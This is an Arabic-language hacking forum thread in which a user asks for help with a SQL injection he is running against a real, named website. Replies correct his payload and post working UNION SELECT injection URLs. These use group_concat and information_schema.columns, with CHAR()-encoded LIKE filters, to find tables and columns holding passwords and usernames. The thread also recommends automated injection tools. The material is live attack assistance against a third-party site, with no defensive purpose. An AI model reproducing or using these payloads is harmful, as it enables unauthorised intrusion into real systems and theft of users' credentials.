مساعدة بخصوص حقن موقع

السلام عليكم المرجو المساعدة : كنت اقوم باختراق موقع لكن عندما وصلت الى where+column_name+LIKE+%pas% لا يظهر لي اي شيء ، ما الحل ؟؟؟

حبيبى حاول تعتمد على الحقن ببرامج لانه اسرع وافضل
اما بالنسبة الى امر الحقن اليدوى الذى قمت انت بكتباتة فهذا تقريبا يعتبر امر من الامور التى يمكن ان يكون معمول لها ايقاف او باند لانها ليست ضرورية فى استحضار البيانات من جداول SQL لو كنت تتعمال مع اوركال اقولك ناقصك بس تكتب فى اخر الامر ++ وكان يعمل معك .
"الخلاصة اعتقد ان الامر دا تم اقافة من قائمة الجداول فى SQL " والله اعلم

شكرآا لك اخي الكريم

المرجوا منك التوضيح أكثر :
ضع الرابط كامل واحدف فقط اسم الموقع اذا كنت لا تريد أن يراه أحد.
لنتمكن من مساعدتك

ها هو الرابط يا اخي ، و شكرا على مساعدتكم :
www.pouet.net/bbses.php?which=-713 union select 1,2,3,4,5,6,concat(table_name,0x3a,column_name,0x3 a,table_schema),8,9+from+information_schema.column s+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

ممم المشكل سهل جدا لديك خطأ في الامر :
هذا هو الامر الذي وضعت :

أنظر هذا هو الامر الصحيح :

كود PHP:

http://www.pouet.net/bbses.php?which=-713+union+select+1,2,3,4,5,6,group_concat(table_name,0x3a,column_name,0x3a,table_schema),8,9+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)-- 


اضغط هنا لرؤية الصورة
كما ترى لم يجد أي جدول أو أي عمود يحتوي على كلمة pass المشفرة بــ char

ولاكن يمكنك تشفير %user% بـ char لترى هل هناك نتيجة أم لا
طيب أنا قمت بتشفير %user%
هذا هو الامر :

كود PHP:

http://www.pouet.net/bbses.php?which=-713+union+select+1,2,3,4,5,6,group_concat(table_name,0x3a,column_name,0x3a,table_schema),8,9+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 117, 115, 101, 114, 37)-- 


وهذه صورة توضيحية لنتيجة
اظغط هنا لرؤية الصورة

أترك لك البقية
تحياتي .